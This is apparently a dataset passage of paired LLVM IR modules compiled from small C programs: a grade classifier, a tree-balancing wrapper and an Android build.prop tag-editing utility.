%4 = load i32, ptr %2, align 4
%5 = icmp sge i32 %4, 86
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @printf(ptr noundef @.str.1)
br label %28
8: ; preds = %0
%9 = load i32, ptr %2, align 4
%10 = icmp sge i32 %9, 61
br i1 %10, label %11, label %13
11: ; preds = %8
%12 = call i32 @printf(ptr noundef @.str.2)
br label %27
13: ; preds = %8
%14 = load i32, ptr %2, align 4
%15 = icmp sge i32 %14, 36
br i1 %15, label %16, label %18
16: ; preds = %13
%17 = call i32 @printf(ptr noundef @.str.3)
br label %26
18: ; preds = %13
%19 = load i32, ptr %2, align 4
%20 = icmp sge i32 %19, 1
br i1 %20, label %21, label %23
21: ; preds = %18
%22 = call i32 @printf(ptr noundef @.str.4)
br label %25
23: ; preds = %18
%24 = call i32 @printf(ptr noundef @.str.5)
br label %25
25: ; preds = %23, %21
br label %26
26: ; preds = %25, %16
br label %27
27: ; preds = %26, %11
br label %28
28: ; preds = %27, %6
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnatjh697.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"A\0A\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"B\0A\00", align 1
@.str.3 = private unnamed_addr constant [3 x i8] c"C\0A\00", align 1
@.str.4 = private unnamed_addr constant [3 x i8] c"D\0A\00", align 1
@.str.5 = private unnamed_addr constant [3 x i8] c"E\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
store i32 0, ptr %1, align 4
%3 = call i32 @scanf(ptr noundef @.str, ptr noundef %2)
%4 = load i32, ptr %2, align 4
%5 = icmp sge i32 %4, 86
br i1 %5, label %6, label %8
6: ; preds = %0
%7 = call i32 @printf(ptr noundef @.str.1)
br label %28
8: ; preds = %0
%9 = load i32, ptr %2, align 4
%10 = icmp sge i32 %9, 61
br i1 %10, label %11, label %13
11: ; preds = %8
%12 = call i32 @printf(ptr noundef @.str.2)
br label %27
13: ; preds = %8
%14 = load i32, ptr %2, align 4
%15 = icmp sge i32 %14, 36
br i1 %15, label %16, label %18
16: ; preds = %13
%17 = call i32 @printf(ptr noundef @.str.3)
br label %26
18: ; preds = %13
%19 = load i32, ptr %2, align 4
%20 = icmp sge i32 %19, 1
br i1 %20, label %21, label %23
21: ; preds = %18
%22 = call i32 @printf(ptr noundef @.str.4)
br label %25
23: ; preds = %18
%24 = call i32 @printf(ptr noundef @.str.5)
br label %25
25: ; preds = %23, %21
br label %26
26: ; preds = %25, %16
br label %27
27: ; preds = %26, %11
br label %28
28: ; preds = %27, %6
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppocp_azv.c'
source_filename = "/tmp/tmppocp_azv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @tbst_balance(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp ne ptr %3, null
%5 = zext i1 %4 to i32
%6 = call i32 @assert(i32 noundef %5)
%7 = load ptr, ptr %2, align 8
%8 = call i32 @tree_to_vine(ptr noundef %7)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @vine_to_tree(ptr noundef %9)
ret void
}
declare i32 @assert(i32 noundef) #1
declare i32 @tree_to_vine(ptr noundef) #1
declare i32 @vine_to_tree(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmppocp_azv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @tbst_balance(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp ne ptr %3, null
%5 = zext i1 %4 to i32
%6 = call i32 @assert(i32 noundef %5)
%7 = load ptr, ptr %2, align 8
%8 = call i32 @tree_to_vine(ptr noundef %7)
%9 = load ptr, ptr %2, align 8
%10 = call i32 @vine_to_tree(ptr noundef %9)
ret void
}
declare i32 @assert(i32 noundef) #1
declare i32 @tree_to_vine(ptr noundef) #1
declare i32 @vine_to_tree(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp5d0kbpnt.c'
source_filename = "/tmp/tmp5d0kbpnt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [19 x i8] c"/system/build.prop\00", align 1
@.str.1 = private unnamed_addr constant [21 x i8] c"ro.build.fingerprint\00", align 1
@.str.2 = private unnamed_addr constant [7 x i8] c"f:p:rn\00", align 1
@optarg = dso_local global ptr null, align 8
@optind = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [267 x i8] c"usage: add-property-tag [flags] tag-to-add\0Aflags: -f /dir/file.prop (default /system/build.prop)\0A -p prop.name (default ro.build.fingerprint)\0A -r (if set, remove the tag rather than adding it)\0A -n (if set, add and increment a number after the tag)\0A\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.5 = private unnamed_addr constant [19 x i8] c"can't read %s: %s\0A\00", align 1
@errno = dso_local global i32 0, align 4
@PATH_MAX = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [7 x i8] c"%s.tmp\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.8 = private unnamed_addr constant [20 x i8] c"can't write %s: %s\0A\00", align 1
@.str.9 = private unnamed_addr constant [29 x i8] c"property %s not found in %s\0A\00", align 1
@.str.10 = private unnamed_addr constant [27 x i8] c"can't rename %s to %s: %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca ptr, align 8
%13 = alloca ptr, align 8
%14 = alloca i64, align 8
%15 = alloca ptr, align 8
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca [4096 x i8], align 16
%19 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr @.str, ptr %6, align 8
store ptr @.str.1, ptr %7, align 8
store ptr null, ptr %8, align 8
store i32 0, ptr %9, align 4
store i32 0, ptr %10, align 4
br label %20
20: ; preds = %34, %2
%21 = load i32, ptr %4, align 4
%22 = load ptr, ptr %5, align 8
%23 = call i32 @getopt(i32 noundef %21, ptr noundef %22, ptr noundef @.str.2)
store i32 %23, ptr %11, align 4
%24 = icmp ne i32 %23, -1
br i1 %24, label %25, label %35
25: ; preds = %20
%26 = load i32, ptr %11, align 4
switch i32 %26, label %34 [
i32 102, label %27
i32 112, label %29
i32 114, label %31
i32 110, label %32
i32 63, label %33
]
27: ; preds = %25
%28 = load ptr, ptr @optarg, align 8
store ptr %28, ptr %6, align 8
br label %34
29: ; preds = %25
%30 = load ptr, ptr @optarg, align 8
store ptr %30, ptr %7, align 8
br label %34
31: ; preds = %25
store i32 1, ptr %9, align 4
br label %34
32: ; preds = %25
store i32 1, ptr %10, align 4
br label %34
33: ; preds = %25
store i32 2, ptr %3, align 4
br label %137
34: ; preds = %25, %32, %31, %29, %27
br label %20, !llvm.loop !6
35: ; preds = %20
%36 = load i32, ptr %4, align 4
%37 = load i32, ptr @optind, align 4
%38 = add nsw i32 %37, 1
%39 = icmp ne i32 %36, %38
br i1 %39, label %40, label %43
40: ; preds = %35
%41 = load i32, ptr @stderr, align 4
%42 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %41, ptr noundef @.str.3)
store i32 2, ptr %3, align 4
br label %137
43: ; preds = %35
%44 = load ptr, ptr %5, align 8
%45 = load i32, ptr @optind, align 4
%46 = sext i32 %45 to i64
%47 = getelementptr inbounds ptr, ptr %44, i64 %46
%48 = load ptr, ptr %47, align 8
store ptr %48, ptr %8, align 8
%49 = load ptr, ptr %6, align 8
%50 = call ptr @fopen(ptr noundef %49, ptr noundef @.str.4)
store ptr %50, ptr %12, align 8
%51 = load ptr, ptr %12, align 8
%52 = icmp eq ptr %51, null
br i1 %52, label %53, label %59
53: ; preds = %43
%54 = load i32, ptr @stderr, align 4
%55 = load ptr, ptr %6, align 8
%56 = load i32, ptr @errno, align 4
%57 = call ptr @strerror(i32 noundef %56)
%58 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %54, ptr noundef @.str.5, ptr noundef %55, ptr noundef %57)
store i32 1, ptr %3, align 4
br label %137
59: ; preds = %43
%60 = load i32, ptr @PATH_MAX, align 4
%61 = zext i32 %60 to i64
%62 = call ptr @llvm.stacksave()
store ptr %62, ptr %13, align 8
%63 = alloca i8, i64 %61, align 16
store i64 %61, ptr %14, align 8
%64 = trunc i64 %61 to i32
%65 = load ptr, ptr %6, align 8
%66 = call i32 @snprintf(ptr noundef %63, i32 noundef %64, ptr noundef @.str.6, ptr noundef %65)
%67 = call ptr @fopen(ptr noundef %63, ptr noundef @.str.7)
store ptr %67, ptr %15, align 8
%68 = load ptr, ptr %15, align 8
%69 = icmp eq ptr %68, null
br i1 %69, label %70, label %75
70: ; preds = %59
%71 = load i32, ptr @stderr, align 4
%72 = load i32, ptr @errno, align 4
%73 = call ptr @strerror(i32 noundef %72)
%74 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %71, ptr noundef @.str.8, ptr noundef %63, ptr noundef %73)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %135
75: ; preds = %59
store i32 0, ptr %17, align 4
br label %76
76: ; preds = %109, %75
%77 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%78 = load ptr, ptr %12, align 8
%79 = call i64 @fgets(ptr noundef %77, i32 noundef 4096, ptr noundef %78)
%80 = icmp ne i64 %79, 0
br i1 %80, label %81, label %110
81: ; preds = %76
%82 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%83 = load ptr, ptr %7, align 8
%84 = call i32 @should_tag(ptr noundef %82, ptr noundef %83)
%85 = icmp ne i32 %84, 0
br i1 %85, label %90, label %86
86: ; preds = %81
%87 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%88 = load ptr, ptr %15, align 8
%89 = call i32 @fputs(ptr noundef %87, ptr noundef %88)
br label %109
90: ; preds = %81
store i32 1, ptr %17, align 4
%91 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%92 = load ptr, ptr %8, align 8
%93 = call i32 @remove_tag(ptr noundef %91, ptr noundef %92)
store i32 %93, ptr %19, align 4
%94 = load i32, ptr %9, align 4
%95 = icmp ne i32 %94, 0
br i1 %95, label %96, label %100
96: ; preds = %90
%97 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%98 = load ptr, ptr %15, align 8
%99 = call i32 @fputs(ptr noundef %97, ptr noundef %98)
br label %108
100: ; preds = %90
%101 = load ptr, ptr %15, align 8
%102 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%103 = load ptr, ptr %8, align 8
%104 = load i32, ptr %19, align 4
%105 = load i32, ptr %10, align 4
%106 = add nsw i32 %104, %105
%107 = call i32 @write_tagged(ptr noundef %101, ptr noundef %102, ptr noundef %103, i32 noundef %106)
br label %108
108: ; preds = %100, %96
br label %109
109: ; preds = %108, %86
br label %76, !llvm.loop !8
110: ; preds = %76
%111 = load ptr, ptr %12, align 8
%112 = call i32 @fclose(ptr noundef %111)
%113 = load ptr, ptr %15, align 8
%114 = call i32 @fclose(ptr noundef %113)
%115 = load i32, ptr %17, align 4
%116 = icmp ne i32 %115, 0
br i1 %116, label %123, label %117
117: ; preds = %110
%118 = load i32, ptr @stderr, align 4
%119 = load ptr, ptr %7, align 8
%120 = load ptr, ptr %6, align 8
%121 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %118, ptr noundef @.str.9, ptr noundef %119, ptr noundef %120)
%122 = call i32 @remove(ptr noundef %63)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %135
123: ; preds = %110
%124 = load ptr, ptr %6, align 8
%125 = call i64 @rename(ptr noundef %63, ptr noundef %124)
%126 = icmp ne i64 %125, 0
br i1 %126, label %127, label %134
127: ; preds = %123
%128 = load i32, ptr @stderr, align 4
%129 = load ptr, ptr %6, align 8
%130 = load i32, ptr @errno, align 4
%131 = call ptr @strerror(i32 noundef %130)
%132 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %128, ptr noundef @.str.10, ptr noundef %63, ptr noundef %129, ptr noundef %131)
%133 = call i32 @remove(ptr noundef %63)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %135
134: ; preds = %123
store i32 0, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %135
135: ; preds = %134, %127, %117, %70
%136 = load ptr, ptr %13, align 8
call void @llvm.stackrestore(ptr %136)
br label %137
137: ; preds = %135, %53, %40, %33
%138 = load i32, ptr %3, align 4
ret i32 %138
}
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare ptr @strerror(i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #2
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ptr noundef) #1
declare i64 @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @should_tag(ptr noundef, ptr noundef) #1
declare i32 @fputs(ptr noundef, ptr noundef) #1
declare i32 @remove_tag(ptr noundef, ptr noundef) #1
declare i32 @write_tagged(ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @fclose(ptr noundef) #1
declare i32 @remove(ptr noundef) #1
declare i64 @rename(ptr noundef, ptr noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nocallback nofree nosync nounwind willreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5d0kbpnt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [19 x i8] c"/system/build.prop\00", align 1
@.str.1 = private unnamed_addr constant [21 x i8] c"ro.build.fingerprint\00", align 1
@.str.2 = private unnamed_addr constant [7 x i8] c"f:p:rn\00", align 1
@optarg = dso_local global ptr null, align 8
@optind = dso_local global i32 0, align 4
@stderr = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [267 x i8] c"usage: add-property-tag [flags] tag-to-add\0Aflags: -f /dir/file.prop (default /system/build.prop)\0A -p prop.name (default ro.build.fingerprint)\0A -r (if set, remove the tag rather than adding it)\0A -n (if set, add and increment a number after the tag)\0A\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.5 = private unnamed_addr constant [19 x i8] c"can't read %s: %s\0A\00", align 1
@errno = dso_local global i32 0, align 4
@PATH_MAX = dso_local global i32 0, align 4
@.str.6 = private unnamed_addr constant [7 x i8] c"%s.tmp\00", align 1
@.str.7 = private unnamed_addr constant [2 x i8] c"w\00", align 1
@.str.8 = private unnamed_addr constant [20 x i8] c"can't write %s: %s\0A\00", align 1
@.str.9 = private unnamed_addr constant [29 x i8] c"property %s not found in %s\0A\00", align 1
@.str.10 = private unnamed_addr constant [27 x i8] c"can't rename %s to %s: %s\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca ptr, align 8
%13 = alloca ptr, align 8
%14 = alloca i64, align 8
%15 = alloca ptr, align 8
%16 = alloca i32, align 4
%17 = alloca i32, align 4
%18 = alloca [4096 x i8], align 16
%19 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr @.str, ptr %6, align 8
store ptr @.str.1, ptr %7, align 8
store ptr null, ptr %8, align 8
store i32 0, ptr %9, align 4
store i32 0, ptr %10, align 4
%20 = load i32, ptr %4, align 4
%21 = load ptr, ptr %5, align 8
%22 = call i32 @getopt(i32 noundef %20, ptr noundef %21, ptr noundef @.str.2)
store i32 %22, ptr %11, align 4
%23 = icmp ne i32 %22, -1
br i1 %23, label %.lr.ph, label %38
.lr.ph: ; preds = %2
br label %24
24: ; preds = %.lr.ph, %33
%25 = load i32, ptr %11, align 4
switch i32 %25, label %33 [
i32 102, label %26
i32 112, label %28
i32 114, label %30
i32 110, label %31
i32 63, label %32
]
26: ; preds = %24
%27 = load ptr, ptr @optarg, align 8
store ptr %27, ptr %6, align 8
br label %33
28: ; preds = %24
%29 = load ptr, ptr @optarg, align 8
store ptr %29, ptr %7, align 8
br label %33
30: ; preds = %24
store i32 1, ptr %9, align 4
br label %33
31: ; preds = %24
store i32 1, ptr %10, align 4
br label %33
32: ; preds = %24
store i32 2, ptr %3, align 4
br label %142
33: ; preds = %31, %30, %28, %26, %24
%34 = load i32, ptr %4, align 4
%35 = load ptr, ptr %5, align 8
%36 = call i32 @getopt(i32 noundef %34, ptr noundef %35, ptr noundef @.str.2)
store i32 %36, ptr %11, align 4
%37 = icmp ne i32 %36, -1
br i1 %37, label %24, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %33
br label %38
38: ; preds = %._crit_edge, %2
%39 = load i32, ptr %4, align 4
%40 = load i32, ptr @optind, align 4
%41 = add nsw i32 %40, 1
%42 = icmp ne i32 %39, %41
br i1 %42, label %43, label %46
43: ; preds = %38
%44 = load i32, ptr @stderr, align 4
%45 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %44, ptr noundef @.str.3)
store i32 2, ptr %3, align 4
br label %142
46: ; preds = %38
%47 = load ptr, ptr %5, align 8
%48 = load i32, ptr @optind, align 4
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds ptr, ptr %47, i64 %49
%51 = load ptr, ptr %50, align 8
store ptr %51, ptr %8, align 8
%52 = load ptr, ptr %6, align 8
%53 = call ptr @fopen(ptr noundef %52, ptr noundef @.str.4)
store ptr %53, ptr %12, align 8
%54 = load ptr, ptr %12, align 8
%55 = icmp eq ptr %54, null
br i1 %55, label %56, label %62
56: ; preds = %46
%57 = load i32, ptr @stderr, align 4
%58 = load ptr, ptr %6, align 8
%59 = load i32, ptr @errno, align 4
%60 = call ptr @strerror(i32 noundef %59)
%61 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %57, ptr noundef @.str.5, ptr noundef %58, ptr noundef %60)
store i32 1, ptr %3, align 4
br label %142
62: ; preds = %46
%63 = load i32, ptr @PATH_MAX, align 4
%64 = zext i32 %63 to i64
%65 = call ptr @llvm.stacksave()
store ptr %65, ptr %13, align 8
%66 = alloca i8, i64 %64, align 16
store i64 %64, ptr %14, align 8
%67 = trunc i64 %64 to i32
%68 = load ptr, ptr %6, align 8
%69 = call i32 @snprintf(ptr noundef %66, i32 noundef %67, ptr noundef @.str.6, ptr noundef %68)
%70 = call ptr @fopen(ptr noundef %66, ptr noundef @.str.7)
store ptr %70, ptr %15, align 8
%71 = load ptr, ptr %15, align 8
%72 = icmp eq ptr %71, null
br i1 %72, label %73, label %78
73: ; preds = %62
%74 = load i32, ptr @stderr, align 4
%75 = load i32, ptr @errno, align 4
%76 = call ptr @strerror(i32 noundef %75)
%77 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %74, ptr noundef @.str.8, ptr noundef %66, ptr noundef %76)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %140
78: ; preds = %62
store i32 0, ptr %17, align 4
%79 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%80 = load ptr, ptr %12, align 8
%81 = call i64 @fgets(ptr noundef %79, i32 noundef 4096, ptr noundef %80)
%82 = icmp ne i64 %81, 0
br i1 %82, label %.lr.ph2, label %115
.lr.ph2: ; preds = %78
br label %83
83: ; preds = %.lr.ph2, %111
%84 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%85 = load ptr, ptr %7, align 8
%86 = call i32 @should_tag(ptr noundef %84, ptr noundef %85)
%87 = icmp ne i32 %86, 0
br i1 %87, label %92, label %88
88: ; preds = %83
%89 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%90 = load ptr, ptr %15, align 8
%91 = call i32 @fputs(ptr noundef %89, ptr noundef %90)
br label %111
92: ; preds = %83
store i32 1, ptr %17, align 4
%93 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%94 = load ptr, ptr %8, align 8
%95 = call i32 @remove_tag(ptr noundef %93, ptr noundef %94)
store i32 %95, ptr %19, align 4
%96 = load i32, ptr %9, align 4
%97 = icmp ne i32 %96, 0
br i1 %97, label %98, label %102
98: ; preds = %92
%99 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%100 = load ptr, ptr %15, align 8
%101 = call i32 @fputs(ptr noundef %99, ptr noundef %100)
br label %110
102: ; preds = %92
%103 = load ptr, ptr %15, align 8
%104 = getelementptr inbounds [4096 x i8], ptr %18, i64 0, i64 0
%105 = load ptr, ptr %8, align 8
%106 = load i32, ptr %19, align 4
%107 = load i32, ptr %10, align 4
%108 = add nsw i32 %106, %107
%109 = call i32 @write_tagged(ptr noundef %103, ptr noundef %104, ptr noundef %105, i32 noundef %108)
br label %110
110: ; preds = %102, %98
br label %111
111: ; preds = %110, %88
%112 = load ptr, ptr %12, align 8
%113 = call i64 @fgets(ptr noundef %79, i32 noundef 4096, ptr noundef %112)
%114 = icmp ne i64 %113, 0
br i1 %114, label %83, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %111
br label %115
115: ; preds = %._crit_edge3, %78
%116 = load ptr, ptr %12, align 8
%117 = call i32 @fclose(ptr noundef %116)
%118 = load ptr, ptr %15, align 8
%119 = call i32 @fclose(ptr noundef %118)
%120 = load i32, ptr %17, align 4
%121 = icmp ne i32 %120, 0
br i1 %121, label %128, label %122
122: ; preds = %115
%123 = load i32, ptr @stderr, align 4
%124 = load ptr, ptr %7, align 8
%125 = load ptr, ptr %6, align 8
%126 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %123, ptr noundef @.str.9, ptr noundef %124, ptr noundef %125)
%127 = call i32 @remove(ptr noundef %66)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %140
128: ; preds = %115
%129 = load ptr, ptr %6, align 8
%130 = call i64 @rename(ptr noundef %66, ptr noundef %129)
%131 = icmp ne i64 %130, 0
br i1 %131, label %132, label %139
132: ; preds = %128
%133 = load i32, ptr @stderr, align 4
%134 = load ptr, ptr %6, align 8
%135 = load i32, ptr @errno, align 4
%136 = call ptr @strerror(i32 noundef %135)
%137 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %133, ptr noundef @.str.10, ptr noundef %66, ptr noundef %134, ptr noundef %136)
%138 = call i32 @remove(ptr noundef %66)
store i32 1, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %140
139: ; preds = %128
store i32 0, ptr %3, align 4
store i32 1, ptr %16, align 4
br label %140
140: ; preds = %139, %132, %122, %73
%141 = load ptr, ptr %13, align 8
call void @llvm.stackrestore(ptr %141)
br label %142
142: ; preds = %140, %56, %43, %32
%143 = load i32, ptr %3, align 4
ret i32 %143
}
declare i32 @getopt(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare ptr @strerror(i32 noundef) #1
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #2
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ptr noundef) #1
declare i64 @fgets(ptr noundef, i32 noundef, ptr noundef) #1
declare i32 @should_tag(ptr noundef, ptr noundef) #1
declare i32 @fputs(ptr noundef, ptr noundef) #1
declare i32 @remove_tag(ptr noundef, ptr noundef) #1
